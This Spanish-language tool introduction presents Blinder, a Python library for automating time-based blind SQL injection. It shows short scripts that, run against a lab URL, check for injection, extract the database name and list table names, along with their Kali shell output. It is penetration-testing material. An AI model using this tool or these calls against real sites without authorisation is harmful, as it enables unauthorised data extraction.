Blinder – La biblioteca de Python para automatizar inyecciones SQL
Blinder es una pequeña biblioteca de Python para automatizar inyecciones SQL ciegas basadas en tiempo. Esto mediante el uso de consultas predefinidas como funciones para automatizar un rápido desarrollo de pruebas de conceptos.
Instalación
Puedes instalar Blinder usando el siguiente comando:
pip install blinder
O descargando el código fuente e importándola manualmente a tu proyecto.
Uso
Para usar Blinder, debes importar el módulo Blinder y luego comenzar a usar las funciones principales de Blinder.
Puede usar Blinder “con la versión actual” para hacer lo siguiente:
- Verificar la inyección basada en el tiempo.
- Obtener el nombre de la base de datos.
- Obtener nombres de tablas.
Puedes verificar la inyección en una URL usando el siguiente código:
#!/usr/bin/python import Blinder blind = Blinder.blinder( "http://sqli-lab/sql_injection/index.php?search=3", sleep=1 ) print blind.check_injection()
El resultado de la ejecución será este:
root@kali:~/Desktop# python check.py True root@kali:~/Desktop#
Puedes obtener el nombre de la base de datos con el siguiente código:
#!/usr/bin/python import Blinder blind = Blinder.blinder( "http://sqli-lab/sql_injection/index.php?search=3", sleep=1 ) print "Database name is : %s " % blind.get_database()
Y los resultados serán:
root@kali:~/Desktop# python get-database.py Database name is : db1 root@kali:~/Desktop#
Para obtener nombres de tablas, puedes usar el siguiente código:
#!/usr/bin/python import Blinder blind = Blinder.blinder( "http://sqli-lab/sql_injection/index.php?search=3", sleep=1 ) tables = blind.get_tables() for table in tables: print table
Y los resultados serán:
root@kali:~/Desktop# python get-tables.py blogs notes root@kali:~/Desktop#